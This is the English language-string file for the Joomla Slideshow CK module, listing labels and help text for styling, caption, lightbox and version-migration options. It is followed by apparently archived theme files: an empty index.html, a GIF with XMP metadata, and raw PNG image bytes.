SLIDESHOWCK_BGCOLOR1_DESC="Choose the background color"
SLIDESHOWCK_BGCOLOR2_LABEL="Gradient color"
SLIDESHOWCK_BGCOLOR2_DESC="Choose the gradient color that will be used starting from the background color"
SLIDESHOWCK_ROUNDEDCORNERSTL_LABEL="Top left corner"
SLIDESHOWCK_ROUNDEDCORNERSTL_DESC="Radius value for the corner in px"
SLIDESHOWCK_ROUNDEDCORNERSTR_LABEL="Top right corner"
SLIDESHOWCK_ROUNDEDCORNERSTR_DESC="Radius value for the corner in px"
SLIDESHOWCK_ROUNDEDCORNERSBR_LABEL="Bottom right corner"
SLIDESHOWCK_ROUNDEDCORNERSBR_DESC="Radius value for the corner in px"
SLIDESHOWCK_ROUNDEDCORNERSBL_LABEL="bottom left corner"
SLIDESHOWCK_ROUNDEDCORNERSBL_DESC="Radius value for the corner in px"
SLIDESHOWCK_SHADOWCOLOR_LABEL="Shadow color"
SLIDESHOWCK_SHADOWCOLOR_DESC="Choose the color for the shadow"
SLIDESHOWCK_SHADOWBLUR_LABEL="Shadow width"
SLIDESHOWCK_SHADOWBLUR_DESC="Shadow width in px"
SLIDESHOWCK_SHADOWSPREAD_LABEL="Blur"
SLIDESHOWCK_SHADOWSPREAD_DESC="Blur value for the shadow"
SLIDESHOWCK_OFFSETX_LABEL="Horizontal offset"
SLIDESHOWCK_OFFSETX_DESC="Offset on the X axis, can take a negative value"
SLIDESHOWCK_OFFSETY_LABEL="Vertical offset"
SLIDESHOWCK_OFFSETY_DESC="Offset on the Y axis, can take a negative value"
SLIDESHOWCK_SHADOWINSET_LABEL="Inset"
SLIDESHOWCK_SHADOWINSET_DESC="Use the inset attribtue to create the shadow inside"
SLIDESHOWCK_BORDERCOLOR_LABEL="Border color"
SLIDESHOWCK_BORDERCOLOR_DESC="Choose the color for the border"
SLIDESHOWCK_BORDERWIDTH_LABEL="Border width"
SLIDESHOWCK_BORDERWIDTH_DESC="Width in px for the border"
SLIDESHOWCK_SPACER_STYLESMARGIN = "Margins"
SLIDESHOWCK_USEMARGIN_LABEL = "Use margins"
SLIDESHOWCK_USEMARGIN_DESC = ""
SLIDESHOWCK_USEBACKGROUND_LABEL = "Use background color"
SLIDESHOWCK_USEBACKGROUND_DESC = ""
SLIDESHOWCK_USEGRADIENT_LABEL = "Use gradient color"
SLIDESHOWCK_USEGRADIENT_DESC = ""
SLIDESHOWCK_USEROUNDEDCORNERS_LABEL = "Use rounded corners"
SLIDESHOWCK_USEROUNDEDCORNERS_DESC = ""
SLIDESHOWCK_USESHADOW_LABEL = "Use shadow"
SLIDESHOWCK_USESHADOW_DESC = ""
SLIDESHOWCK_USEBORDERS_LABEL = "Use borders"
SLIDESHOWCK_USEBORDERS_DESC = ""
SLIDESHOWCK_SPACER_STYLESFONT = "Font style"
SLIDESHOWCK_USEFONT_LABEL = "Use font"
SLIDESHOWCK_USEFONT_DESC = ""
SLIDESHOWCK_GFONT_LABEL = "Font"
SLIDESHOWCK_GFONT_DESC = "Choose the google font to use"
SLIDESHOWCK_FONTWEIGHT_LABEL = "Font weight"
SLIDESHOWCK_FONTWEIGHT_DESC = "Choose if you want the text to be bold or normal"
SLIDESHOWCK_FONTSIZE_LABEL = "Font size"
SLIDESHOWCK_FONTSIZE_DESC = "Give the size you want with unit (px, em, %)"
SLIDESHOWCK_FONTCOLOR_LABEL = "Font color"
SLIDESHOWCK_FONTCOLOR_DESC = "Choose the color for the font"
SLIDESHOWCK_DESCFONTSIZE_LABEL = "Description font size"
SLIDESHOWCK_DESCFONTSIZE_DESC = "Size of the description added to the link"
SLIDESHOWCK_DESCFONTCOLOR_LABEL = "Description color"
SLIDESHOWCK_DESCFONTCOLOR_DESC = "Color of the description added to the link"
SLIDESHOWCK_MARGINTOP_LABEL="Margin top"
SLIDESHOWCK_MARGINTOP_DESC="margin in px"
SLIDESHOWCK_MARGINRIGHT_LABEL="Margin right"
SLIDESHOWCK_MARGINRIGHT_DESC="margin in px"
SLIDESHOWCK_MARGINBOTTOM_LABEL="Margin bottom"
SLIDESHOWCK_MARGINBOTTOM_DESC="margin in px"
SLIDESHOWCK_MARGINLEFT_LABEL="Margin left"
SLIDESHOWCK_MARGINLEFT_DESC="margin in px"
SLIDESHOWCK_PADDINGTOP_LABEL="Padding top"
SLIDESHOWCK_PADDINGTOP_DESC="margin in px"
SLIDESHOWCK_PADDINGRIGHT_LABEL="Padding right"
SLIDESHOWCK_PADDINGRIGHT_DESC="margin in px"
SLIDESHOWCK_PADDINGBOTTOM_LABEL="Padding bottom"
SLIDESHOWCK_PADDINGBOTTOM_DESC="margin in px"
SLIDESHOWCK_PADDINGLEFT_LABEL="Padding left"
SLIDESHOWCK_PADDINGLEFT_DESC="margin in px"
SLIDESHOWCK_BACKGROUNDIMAGE_LABEL="Background image"
SLIDESHOWCK_BACKGROUNDIMAGE_DESC="Select an image to apply as background"
SLIDESHOWCK_BACKGROUNDPOSITIONX_LABEL="Poxition X"
SLIDESHOWCK_BACKGROUNDPOSITIONX_DESC="Choose a value with px (ex: 25px) or left, right, center, etc..."
SLIDESHOWCK_BACKGROUNDPOSITIONY_LABEL="Poxition Y"
SLIDESHOWCK_BACKGROUNDPOSITIONY_DESC="Choose a value with px (ex: 25px) or left, right, center, etc..."
SLIDESHOWCK_ARTICLEOPTIONS="Article options"
SLIDESHOWCK_ARTICLELENGTH_LABEL="Character length"
SLIDESHOWCK_ARTICLELENGTH_DESC="The article text will be truncated after the number of characters"
SLIDESHOWCK_ARTICLELINK_LABEL="Article link on"
SLIDESHOWCK_ARTICLELINK_DESC="Choose if you want the link of the article to be added to the title or with a readmore link"
SLIDESHOWCK_READMORE_OPTION="readmore link"
SLIDESHOWCK_TITLE_OPTION="article title"
SLIDESHOWCK_ARTICLETITLE_LABEL="Article title tag"
SLIDESHOWCK_ARTICLETITLE_DESC="Choose which tag to use to render the title"
SLIDESHOWCK_SLIDETIME="enter a specific time value for this slide, else it will be the default time"

; added 1.3.11
SLIDESHOWCK_LIGHTBOXGROUPALBUM_LABEL="Group links into an album"
SLIDESHOWCK_LIGHTBOXGROUPALBUM_DESC="ONLY FOR MEDIABOX CK : This will group all links into an album and enable the navigation"
SLIDESHOWCK_CLEAR="Clear"
SLIDESHOWCK_SELECT="Select"

;added 1.4.0
SLIDESHOWCK_ARTICLEOPTIONS="Article Options"
SLIDESHOWCK_ARTICLE_ID="Article ID"
SLIDESHOWCK_TITLE_ONLY="title only"
SLIDESHOWCK_DESC_ONLY="description only"
SLIDESHOWCK_OPTIONS_SLIDESSOURCE="<img src=../modules/mod_slideshowck/elements/images/pictures.png />Slides source"
SLIDESHOWCK_OPTIONS_FROMARTICLECATEGORY="<img src=../modules/mod_slideshowck/elements/images/picture_add.png style=display:inline-block;margin:2px 5px 0 2px; />Autoload from a category of articles"
SLIDESHOWCK_OPTIONS_FROMFOLDER="<img src=../modules/mod_slideshowck/elements/images/picture_add.png style=display:inline-block;margin:2px 5px 0 2px; />Autoload from a folder"
SLIDESHOWCK_OPTIONS_STYLES = "<img src=../modules/mod_slideshowck/elements/images/css.png style=display:inline-block;margin:2px 5px 0 2px; />Styles options"
SLIDESHOWCK_OPTIONS_EFFECTS = "<img src=../modules/mod_slideshowck/elements/images/chart_curve.png style=display:inline-block;margin:2px 5px 0 2px; />Effects options"
SLIDESHOWCK_OPTIONS_LIGHTBOX="<img src=../modules/mod_slideshowck/elements/images/magnifier_zoom_in.png style=display:inline-block;margin:2px 5px 0 2px; />Lightbox Options"
SLIDESHOWCK_OPTIONS_ADVANCED="<img src=../modules/mod_slideshowck/elements/images/wrench.png style=display:inline-block;margin:2px 5px 0 2px; />Avanced Options"
SLIDESHOWCK_ARTICLEOPTIONS="<img src=../modules/mod_slideshowck/elements/images/text_signature.png style=display:inline-block;margin:2px 5px 0 2px; />Article options"
SLIDESHOWCK_CAPTIONSTYLES="<img src=../modules/mod_slideshowck/elements/images/style.png style=display:inline-block;margin:2px 5px 0 2px; />Caption styles"
SLIDESHOWCK_HIKASHOP_FIELDSET_LABEL="<img src=../modules/mod_slideshowck/elements/images/basket.png style=display:inline-block;margin:2px 5px 0 2px; />Hikashop Options"
SLIDESHOWCK_SLIDEMANAGER="Slides manager"
SLIDESHOWCK_SLIDESSOURCE_LABEL="Images source"
SLIDESHOWCK_SLIDESSOURCE_DESC="Choose if you want to load the images from the slides manager or a folder"
SLIDESHOWCK_SPACERFOLDERIMPORT_LABEL="Import images from a folder"
SLIDESHOWCK_TITLE="Title"
SLIDESHOWCK_OPTIONS_SLIDES = "<img src=../modules/mod_slideshowck/elements/images/picture_add.png style=display:inline-block;margin-top:2px;margin-right:5px;margin-left:2px; />Slides manager"
SLIDESHOWCK_CAPTION="Description"
SLIDESHOWCK_AUTOCREATETHUMBS_LABEL="Create the thumbnails automatically"
SLIDESHOWCK_AUTOCREATETHUMBS_DESC="The server will automatically create the thumbnail images if needed. This can cause some server overload"
SLIDESHOWCK_BGOPACITY_LABEL="Opacity"
SLIDESHOWCK_BGOPACITY_LABEL="Set the opacity for the background"

;added 1.4.6
SLIDESHOWCK_IMAGE_OPTION="Image"

;added 1.4.7
SLIDESHOWCK_CONTAINER_LABEL="Load as block background"
SLIDESHOWCK_CONTAINER_DESC="<strong>For advanced users :</strong>Give the CSS selector for the block where you want to load the slideshow as background. For example if you want to load into a block that has an ID 'top', write '#top'. If you want to load into a block that has as css class 'top', write '.top'."

;added 1.4.15
SLIDESHOWCK_SPACER_RESPONSIVE="Responsive caption"
SLIDESHOWCK_USERESPONSIVECAPTION_LABEL="Activate the responsive caption"
SLIDESHOWCK_USERESPONSIVECAPTION_DESC="Activate this option if you want to use the following settings for the responsive caption"
SLIDESHOWCK_RESPONSIVERESOLUTION_LABEL="Responsive resolution"
SLIDESHOWCK_RESPONSIVERESOLUTION_DESC="Choose a resolution value under which the following settings will apply."
SLIDESHOWCK_RESPONSIVEFONTSIZE_LABEL="Font size"
SLIDESHOWCK_RESPONSIVEFONTSIZE_DESC="Set the font-size to apply to the caption under the resolution that you have defined above"
SLIDESHOWCK_RESPONSIVEHIDECAPTION_LABEL="Hide caption"
SLIDESHOWCK_RESPONSIVEHIDECAPTION_DESC="If you don't want to show the caption at all under the resolution you have set above, then activate this option"

;added 1.4.21
SLIDESHOWCK_OPTIONS_FROMFLICKR="<img src=../modules/mod_slideshowck/elements/images/picture_add.png style=display:inline-block;margin:2px 5px 0 2px; />Autoload from Flickr"
SLIDESHOWCK_VOTE_JED="If you are using Slideshow CK, please vote on the JED."
SLIDESHOWCK_CURRENT_VERSION="You are using the version"
SLIDESHOWCK_NEW_VERSION_AVAILABLE="Update available"
SLIDESHOWCK_DOWNLOAD="Download"
SLIDESHOWCK_DOWNLOAD_DOCUMENTATTION="Download the documentation of the module"
SLIDESHOWCK_DOWNLOAD_THEMES="Download a graphic theme for the module"
SLIDESHOWCK_NEED_UPDATE="This extension must be updated"
SLIDESHOWCK_REQUIRED_VERSION="You must at least install the version"

;added 1.4.22
SLIDESHOWCK_MINHEIGHT_LABEL="Min-height"
SLIDESHOWCK_MINHEIGHT_DESC="Set a min-height value to limit the size of the slideshow on small devices. This must be in px"
SLIDESHOWCK_RESOLUTION_ADAPTATIVE="Adaptative"
SLIDESHOWCK_RESOLUTION_STEP="Resolution step"
SLIDESHOWCK_STARTDATE="Start date"
SLIDESHOWCK_ENDDATE="End date"

;added 1.4.37
SLIDESHOWCK_USECAPTION_LABEL="Show the caption"
SLIDESHOWCK_USECAPTION_DESC="Select if you want to show the caption, or totally disable it"
SLIDESHOWCK_USECAPTIONDESC_LABEL="Show description"
SLIDESHOWCK_USECAPTIONDESC_DESC="Select if you want to show the caption description, or only the title"

;added 1.4.41
SLIDESHOWCK_K2_NOTFOUND="K2 not found"

;added 1.4.42
SLIDESHOWCK_LINK_POSITION_LABEL="Link position"
SLIDESHOWCK_LINK_POSITION_DESC="Set where you want the slide link to take place"
SLIDESHOWCK_LINK_FULLSLIDE="Full slide"
SLIDESHOWCK_LINK_CAPTION="Caption"
SLIDESHOWCK_LINK_TITLE="Title"
SLIDESHOWCK_LINK_BUTTON="Button"

;added 1.4.43
SLIDESHOWCK_FIXHTML_LABEL="Fix html"
SLIDESHOWCK_FIXHTML_DESC="Fix the html code in the caption. Usefull when the text is truncated."

;added 1.4.52
SLIDESHOWCK_KEYBOARD_CONTROL_LABEL="Enable keyboard control"
SLIDESHOWCK_KEYBOARD_CONTROL_DESC="You can use the keyboard to control the slideshow (left = previous, right = next, P = play/pause)"

;added 1.4.63
PLG_SLIDESHOWCK_READMORE="Read more"
SLIDESHOWCK_STRIPTAGS_LABEL="Strip HTML tags"
SLIDESHOWCK_STRIPTAGS_DESC="Remove all HTML formatting in the text"

;added 2.0.0
SLIDESHOWCK_SOURCE_FIELDSET_LABEL="Source"
SLIDESHOWCK_USE_FREE_VERSION="You are using the FREE version"
SLIDESHOWCK_USE_PRO_VERSION="You are using the PRO version"
SLIDESHOWCK_DOCUMENTATION="Read the documentation"
SLIDESHOWCK_TEXT="Text"
SLIDESHOWCK_IMAGE="Image"
SLIDESHOWCK_LINK="Link"
SLIDESHOWCK_VIDEO="Video"
SLIDESHOWCK_ARTICLE="Article"
SLIDESHOWCK_DATES="Dates"
SLIDESHOWCK_REMOVE2="Remove"
SLIDESHOWCK_SELECT_LINK="Select a link"
SLIDESHOWCK_SOURCE_SLIDESMANAGER="Slides manager"
SLIDESHOWCK_SOURCE_FOLDER="Folder"
SLIDESHOWCK_SELECT="Select"
SLIDESHOWCK_USETITLE_LABEL="Show the title"
SLIDESHOWCK_USETITLE_DESC="Select if you want to show the title in the caption"
SLIDESHOWCK_DISPLAY_OPTIONS_LABEL="Display"
SLIDESHOWCK_TEXT_OPTIONS_LABEL="Text"
SLIDESHOWCK_LINK_OPTIONS_LABEL="Link"
SLIDESHOWCK_NUMBER_SLIDES_LABEL="Number of slides"
SLIDESHOWCK_NUMBER_SLIDES_DESC="Give the number of slides to be shown. Leave the field empty to show all slides"
SLIDESHOWCK_NONE="None"
SLIDESHOWCK_LINK_BUTTON_TEXT_LABEL="Button text"
SLIDESHOWCK_LINK_BUTTON_TEXT_DESC="Write the text to be shown in the button. You can write a STRING that will be translated using the language files with your own values"
SLIDESHOWCK_LIGHTBOX_SPACER_LABEL="Lightbox"
SLIDESHOWCK_LIGHTBOX_LABEL="Lightbox to use"
SLIDESHOWCK_LIGHTBOX_DESC="Choose if you want to use the Mediabox CK lightbox available on JoomlaCK.fr, or if you want to use another one"
SLIDESHOWCK_LIGHTBOX_MEDIABOX="Mediabox CK"
SLIDESHOWCK_LIGHTBOX_OTHER="Other"
SLIDESHOWCK_LINK_BUTTON_TEXT="Read more"
SLIDESHOWCK_LIGHTBOX_ATTRIB_LABEL="Lightbox attribute"
SLIDESHOWCK_LIGHTBOX_ATTRIB_DESC="Set the attibute to use according to your lightbox setttings"
SLIDESHOWCK_LIGHTBOX_ATTRIB_VALUE_LABEL="Lightbox attribute value"
SLIDESHOWCK_LIGHTBOX_ATTRIB_VALUE_DESC="Set the attibute value to use according to your lightbox setttings"
SLIDESHOWCK_LINK_BUTTON_CLASS_LABEL="Button CSS class"
SLIDESHOWCK_LINK_BUTTON_CLASS_DESC="Write a CSS class to add to the button"
SLIDESHOWCK_LINK_AUTOIMAGE_LABEL="Link auto to image"
SLIDESHOWCK_LINK_AUTOIMAGE_DESC="If set to yes, it will automatically create a link to the slide image itself"
SLIDESHOWCK_LINK_TARGET_LABEL="Link target"
SLIDESHOWCK_LINK_TARGET_DESC="Choose if you want to open the link in the same window or in a new window"
SLIDESHOWCK_LINK_SAME_WINDOW="Same window"
SLIDESHOWCK_LINK_NEW_WINDOW="New window"
SLIDESHOWCK_TITLE_TAG_LABEL="Title tag"
SLIDESHOWCK_TITLE_TAG_DESC="Choose which tag to use to render the title"
SLIDESHOWCK_OPTIONS_FIELDSET_LABEL="Options"
SLIDESHOWCK_RESPONSIVE="Responsive"
SLIDESHOWCK_EFFECTS_OPTIONS="Effects"
SLIDESHOWCK_VISIT_OTHER_PRODUCTS="Visit the other products available on JoomlaCK"
SLIDESHOWCK_GET_LICENCE_INFOS="See how to manage your licence key"
SLIDESHOWCK_GET_PRO_INFOS="Get infos on the Pro version"
SLIDESHOWCK_STYLES="Styles"
SLIDESHOWCK_EDIT="Edit"
SLIDESHOWCK_SELECT_STYLE_LABEL="Style"
SLIDESHOWCK_SELECT_STYLE_DESC="Select the style to apply to your slideshow and edit it directly here"
SLIDESHOWCK_OTHER="Other"
SLIDESHOWCK_LIGHTBOX_LABEL="Lightbox"
SLIDESHOWCK_LIGHTBOX_DESC="Select which lightbox to use to open your links"
SLIDESHOWCK_PORTRAIT_LABEL="Contain the images"
SLIDESHOWCK_PORTRAIT_DESC="The images will be contained into the slideshow area without resizing"
SLIDESHOWCK_ONLY_PRO="Only available in the Pro version. Click here to read more infos"
SLIDESHOWCK_SOURCE_ARTICLES="Articles"
SLIDESHOWCK_THUMBSTYPE_LABEL="Thumbnails to use"
SLIDESHOWCK_THUMBSTYPE_DESC="Choose between reduced size image or normal size image"
SLIDESHOWCK_THUMBSTYPE_MINI="Mini"
SLIDESHOWCK_THUMBSTYPE_NORMAL="Normal"
SLIDESHOWCK_MIGRATION_NEEDED="A migration is needed ! We have detected that you are editing a module that has been created with Slideshow CK V1."
SLIDESHOWCK_MIGRATION_ACTION="Please click here to automatically update the module. If you don't do it, you may loose some configuration."
SLIDESHOWCK_MIGRATION_SUCCESS="Migration done with success !"
SLIDESHOWCK_MIGRATION_ERROR="Error when trying to migrate the module to the V2. Please contact the developper."
SLIDESHOWCK_HEIGHT_FIELD_HELP_TITLE="How to calculate the height"
SLIDESHOWCK_HEIGHT_FIELD_HELP_1="You can set up the height in <b>px</b> or <b>%</b>. If you use %, the height will be responsive and it will keep the image ratio. If you use px, then the height will always stay the same and it will crop the image."
SLIDESHOWCK_HEIGHT_FIELD_HELP_2="How to calculate the height in %"
SLIDESHOWCK_HEIGHT_FIELD_HELP_3="The percentage is the ratio between the height and width of your image. Note that this value is used for all images in the slideshow, so it is recommended to have all images with the same dimensions."
SLIDESHOWCK_HEIGHT_FIELD_HELP_4="Take an example with an image that has the following dimensions :"
SLIDESHOWCK_HEIGHT_FIELD_HELP_5="To calculate the ratio : 800 / 1280 = <b>62%</b>. Then in the height option, set the value to 62%."
SLIDESHOWCK_RATIO_LABEL="Image ratio"
SLIDESHOWCK_CALCULATOR="Calculator"
SLIDESHOWCK_SAVE="Save"
SLIDESHOWCK_PARAMS_UNPUBLISHED_INFO="Are you updating this module from the V1 to V2 of Slideshow CK ? The plugin Slideshow CK Params has been detected and it has automatically been deactivated because not compatible with the V2."
SLIDESHOWCK_PARAMS_MIGRATION_LINK="Click here to read the instructions on how to migrate"
SLIDESHOWCK_TEXT_CUSTOM="Custom text"
SLIDESHOWCK_TEXT="Text"
SLIDESHOWCK_WARNING_PLUGIN_OBSOLETE="You have a plugin that is obsolete that was working the Version 1 of Slideshow CK. This plugin is no more compatible with the Version 2 of Slideshow CK, please unpublish it."
SLIDESHOWCK_DISABLE_PLUGIN="Click here to unpublish the plugin"
;added 2.0.5
SLIDESHOWCK_DEBUG_LABEL="Show debug messages"
SLIDESHOWCK_DEBUG_DESC="Disable it if you don't want any message from the slideshow"
;added 2.0.16
SLIDESHOWCK_LOAD_INLINE_LABEL="Load script inline"
SLIDESHOWCK_LOAD_INLINE_DESC="If you have some problems to render the slidehow when loaded into an article, you can use this option"
;added 2.1.1
SLIDESHOWCK_CONTENT_PREPARE_LABEL="Prepare content"
SLIDESHOWCK_CONTENT_PREPARE_DESC="Call the content plugins to be triggered on the rendered content"
;added 2.2.1
SLIDESHOWCK_VIDEO_AUTOPLAY="Autoplay"
SLIDESHOWCK_VIDEO_LOOP="Loop"
SLIDESHOWCK_VIDEO_CONTROLS="Controls"
;added 2.3.11
SLIDESHOWCK_TITLE_IN_THUMBNAILS_LABEL="Show title in thumbs"
;added 2.4.1
SLIDESHOWCK_RESPONSIVEHIDEDESCRIPTION_LABEL="Hide description"
SLIDESHOWCK_RESPONSIVEHIDEDESCRIPTION_DESC="Hide description on mobile"com_slideshowck/extensions/mod_slideshowck/themes/index.html000060400000000037152455305260020563 0ustar00<!DOCTYPE html><title></title>
com_slideshowck/extensions/mod_slideshowck/themes/default/images/blank.gif000060400000002105152455305260023233 0ustar00GIF89a����!�XMP DataXMP<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:0D980D8206C011E0985695BBDE1B5A90" xmpMM:DocumentID="xmp.did:0D980D8306C011E0985695BBDE1B5A90"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0D980D8006C011E0985695BBDE1B5A90" stRef:documentID="xmp.did:0D980D8106C011E0985695BBDE1B5A90"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�������������������������������������������������������������������������������������������������������������������������������~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"! 

	!�,D;com_slideshowck/extensions/mod_slideshowck/themes/default/images/index.html000060400000000037152455305260023454 0ustar00<!DOCTYPE html><title></title>
com_slideshowck/extensions/mod_slideshowck/themes/default/images/camera_skins.png000060400000057206152455305260024636 0ustar00�PNG


IHDR�,�<rtEXtSoftwareAdobe ImageReadyq�e<fiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:0A80117407206811BBABD7A72E8A3CEB" xmpMM:DocumentID="xmp.did:9CE331D8475D11E1BFD3D381F831A47D" xmpMM:InstanceID="xmp.iid:9CE331D7475D11E1BFD3D381F831A47D" xmp:CreatorTool="Adobe Photoshop CS5 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:21A56ECB01236811BBABD7A72E8A3CEB" stRef:documentID="xmp.did:0A80117407206811BBABD7A72E8A3CEB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>���Z�IDATx��Ak,O���#������	��l<J����w0Z&��B�Z$dF�,5z���<���'��7�ƨ�
� ��N��Q�y�����S�|���{�w�t�֩s��j��l2�^�@p�� 8�� 8ߺ�G����כ�\�����b>��e��g�l����"�s�K�5q�Ql�	j�HlR��CpM��kC�Y�2W�"��4�,\dYYyH�e�����
�k���؞̔���g�����`�\�m7j+�/�\Ѣ�f����5�=����\�v���3�>�u�m��v���G�K���}�]�=���u/m�3p�z��P�����<j�Kf��"��:0����{s}�G�\gK��g�P��Բ�0#N>ԩ8��ȣܗ�W͐�/}���d���Il\d�
(�/}Y��7m{雞$�
%)P�ׅ���>�C#��BIJ������JBPܹ~/���3XE����؆1
%�����?���(�*:�OD&{Q��g��J5ҙɽ�<v.8�e��/��2B������4��z���u�,�}���1�߬jn����,�`�%�O��2B��">�s�oni{*��Cm�Jb���e�a�мE'�k9�I�+߾�:yY��ڈ��{�����4h՗R]^��ˆ����n��������4�AR(y�B��=
��uZw��:��^5%�%��=��J��=�u���\n�[(�,©s?�ske�Rwj��t��B,�8��Y@��V��~O8B]\W��R�Pv�`��啀� �)% 8��� 8@p��@p�� 8�� 	�
�g�yr��G,�
j�3�
G'8������f�
+�a$6�m�@�#4���/ܿ�2񐃁�
�[���VĦQNlYd���ӵ��
��f��g�i%z�Y�"}ž��W�ɋ-Ϫ��}�����޵�njp�-N��&SH�ΛY(,}a���kGo�}$�F*��>Om��fXm�_p�Bɋ3��%j[y�������l�n=cȻ{�'��\gr�����ҹ���8y}24��ȣܗ�1����/}���d�$�
��K_�1�M�^��'	N�)�ۿ��`�y8‹^(fv.�ֹm�t�$��W�Cj�
%�����U@9Tp��%˝g��r+�
cJ>]q�!8�Q�Ut6j����u��.�ZɣF:3�wÖ��g���%Y^�@h���ڝ��&6��Nm�<�e��2{��dq��ͪ�l��Β\���-c 4?�+��>�P�f��b�O�0�^�T�)Z����
���-�F�Z5�i�`��g-��#��O);].|G� ��?�C���?Y��3�6�iݗ�����m��í�E|w����H-��'-��3Hקs��6[i��df�]�{8���{�_��\n�[(�Lp�(I���9�s6%mi�{EԠS��PN
&Ď������o]�:�����C��=���DOoBG8�)��� 8��@p���$&89!��%�j@T���/g�d�Y"1��L�.(su�[#�]��<*�(7ɪ�9�����
wj�4�C�˔�-��a���n�+��rǃ��O:���T�ܫF2���3����h=k��6�-�7��J?���B�?�����.8�[L~n*F�/���?�����[>�4��򝿏a�T�>����=��oCM)�����h]+��7h�j�P[����R^"�_��:����Z(I����曆y?��-�	�j�$�
�kW(��ڏf>�CW7&��2�N[��u�e/���€-�eޗ��pz�`�]�3%�$�gtVR���n�U��NXSܧx��)t`��֊Qc:g)Ei�֩�Q"�i��xt��vfd�d�\�̓!�Ԧ��IC)�S������
�#��K�����J��>�z�]dv�1Z{�H��X�`�4��p�	.�}���1�w����1+�3�������Z�5����e����v'�d>#z�3�{��҂��흒�ܼ,F�fv��a�Yf{��U�1����!�Sd�(����(�xJ��puY��/L=j&:*����,3�V�է���}Ӧ.�4�@~����Y�]k�=Kk�:�7�ʛ�*��Q�"��p,�@p�� 8��� 8@p��@p������w���\�Ϲ��[�&�b��α��ѝ�����E���3��b�D��l�����jC����2�L2��o�?P�H��*�f��=����MmI�h����'�=�ͩ��W�"X���3���_� 9v��.���?J߮t�0ihy����C���f
ۤ�s�l^(�H1G.��3\�ٽ�y�bk�}��MՎ�
�li-6�~[ĘR6%�U��m�
(�@�*�D.h7��u�z��G/Z����I���Z(I�����m��`�y�3Y(I�����Jf����G3��Ɂ�����̹�j��"��K��0�0�G��y/�K�P�Y�{JIx���Bɵ!�ĖIۥ�CW'�)�S��y�H�y�F�1r+鷥��mǶN��)M{Xƨ�vfa�d(��<2Kl)ڮE����Sܧhu���'~��6L|�Uʤ�)]�@h�y)RH�ksV�X\�M�.�}���1����_���Ya��
^� [������P?��O��2���4�n..�v�c����}��E��ُFZ�NIBn^#^3�?��a��-hкO_�`c��Hf&��m���$P@Ib�'�.��S(�Dp�(	�v��Js�>��+ͻ�j��3Mdxr�+�Φ��n�Sڂ�G�3M���j�D�b���p�c��� 8��@p���t��N���@N5�S����&��]����[��:[.�r8��ԧ���M�l�6U���h�=���s��]�pn��d�"���SV�,Զ�~D�k����ޤl3��Vq��ݮ
v͵�v��B�b�u-zl�(۬ڎ��;�nM�n���nwl��03�S��`��[Go�}�Dh?���mѣe���I���%/� �'W��dv
(�ᆰ�[���7קy?�u�4�_pv%�M-����m��'�����y{�Ui�g�"��,�|<:�2��痾,��[��7=9Lp�%�E9���u�dh�ߪ�!=
(�F8ۅ��
(_	�J>��"�,�*�s�N���3XE����Ȫ-zv�ʖ��ֹ�G�v��&EV�E=s�Z+y�Hg'�~��{��+��}I��1��&�v���Ѐ��;����e��S�����fU����Β\z��-c 4?�+��^�P���=ɪk��}
���v��O����2��0Fhޢ������
�}��*y���0*�g�ݮMoA�6})��u��|��q��-��*C���;C��:H
%OZ(�G!��N��z[�j���xϒB��f%���Ў�X�g.7�iۋ��r�un�,PV;5ntT��O!]���}j���YU(9Kj 8�|��M(;N�G��J@p��� 8� 8@p�@p�� 8����?��=��r�ep�_^�Q�4p��r����rA��QE8�����bԆ�ؤ���4�X<�n{|��pn{n��,++��,�t�?�����}&=�'3�ut�9#ę-_?���@m��Ŗ� Z�ج�5Ҷ�F���r�r9SH�N�Y��:�6�O^;z��#�%B+�v}[��G�Vy��>�I���^p�2{I��V^ i��"��:0����{s}�G�\gK��g�P��Բ�0#N^ߢ��<�(�%f�c��K�1D�3Y(�dt��
��K_�1�M�^��'	.�BI���u�d�ٹPs�S@94™.��T@�JxH-^�$d�P���w��d,w��*28ȭD�6�Q(�Dtu�ч�G�V�٨}"2ًz�>�V��L�ݰ�s�,��}I��1��&�v���Ѐ��;����e��S4����fUs��}gI.�}�֖1�����i�{(3pK�S�ŧ`jkW�
.c�
c��-:y_��QN�^��]�P5y���0*�g�ݮ-oA�V})��u��l���m�\pj��yߝ!Kc$��'-��q٣�\�ug}�k
�US�YR��Ù,�$���Q+���&����"�:���:�V(u�ƍ�JW�)Ģ�S��Kk%��#$x�k�K�oB�q�=��W��Ħ������� 8��@p����$7ȳK�1sI��"6���C���9v}��|�n��-��Ď�Yu��Yl{�����ւs�
